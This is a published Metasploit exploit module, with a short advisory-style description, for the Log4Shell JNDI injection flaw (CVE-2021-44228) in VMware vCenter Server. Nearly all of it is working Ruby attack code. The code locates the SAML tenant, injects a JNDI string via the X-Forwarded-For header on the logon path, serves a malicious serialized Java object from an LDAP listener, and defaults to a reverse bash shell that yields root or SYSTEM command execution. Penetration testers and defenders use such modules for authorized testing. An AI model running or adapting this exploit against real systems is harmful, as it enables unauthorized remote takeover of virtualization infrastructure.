VMware vCenter Server Unauthenticated Log4Shell JNDI Injection Remote Code Execution

VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can be sent to the server that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on Windows. This Metasploit module will start an LDAP server that the target will need to connect to. This exploit uses the logon page vector.


MD5 | 32d2d28bcb4dba8e71d1328de3ecb778

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::CheckModule
prepend Msf::Exploit::Remote::AutoCheck

def initialize(_info = {})
super(
'Name' => 'VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell)',
'Description' => %q{
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
Windows.

This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
vector.
},
'Author' => [
'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
'jbaines-r7', # vCenter research
'w3bd3vil' # vCenter PoC https://twitter.com/w3bd3vil/status/1469814463414951937
],
'References' => [
[ 'CVE', '2021-44228' ],
[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0028.html' ],
[ 'URL', 'https://twitter.com/w3bd3vil/status/1469814463414951937' ]
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'SRVPORT' => 389,
'WfsDelay' => 30,
'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
},
'Targets' => [
[
'Windows', {
'Platform' => 'win'
},
],
[
'Linux', {
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
'RelatedModules' => [
'auxiliary/scanner/http/log4shell_scanner',
'exploit/multi/http/log4shell_header_injection'
]
}
)
register_options([
OptString.new('TARGETURI', [ true, 'Base path', '/'])
])
end

def check
validate_configuration!

return Exploit::CheckCode::Unknown if tenant.nil?

super
end

def check_options
{
'LDAP_TIMEOUT' => datastore['WfsDelay'],
'HTTP_HEADER' => 'X-Forwarded-For',
'TARGETURI' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
'HEADERS_FILE' => nil,
'URIS_FILE' => nil
}
end

def build_ldap_search_response_payload
return [] if @search_received

@search_received = true

print_good('Delivering the serialized Java object to execute the payload...')
build_ldap_search_response_payload_inline('BeanFactory')
end

def tenant
return @tenant unless @tenant.nil?

res = send_request_cgi('uri' => normalize_uri(target_uri, 'ui', 'login'))
return nil unless res&.code == 302
return nil unless res.headers['Location'] =~ %r{websso/SAML2/SSO/([^/]+)\?}

@tenant = Regexp.last_match(1)
end

def trigger
@search_received = false
# HTTP request initiator
send_request_cgi(
'uri' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
'headers' => { 'X-Forwarded-For' => jndi_string }
)
end

def exploit
validate_configuration!

start_service
trigger

sleep(datastore['WfsDelay'])
handler
ensure
cleanup
end
end

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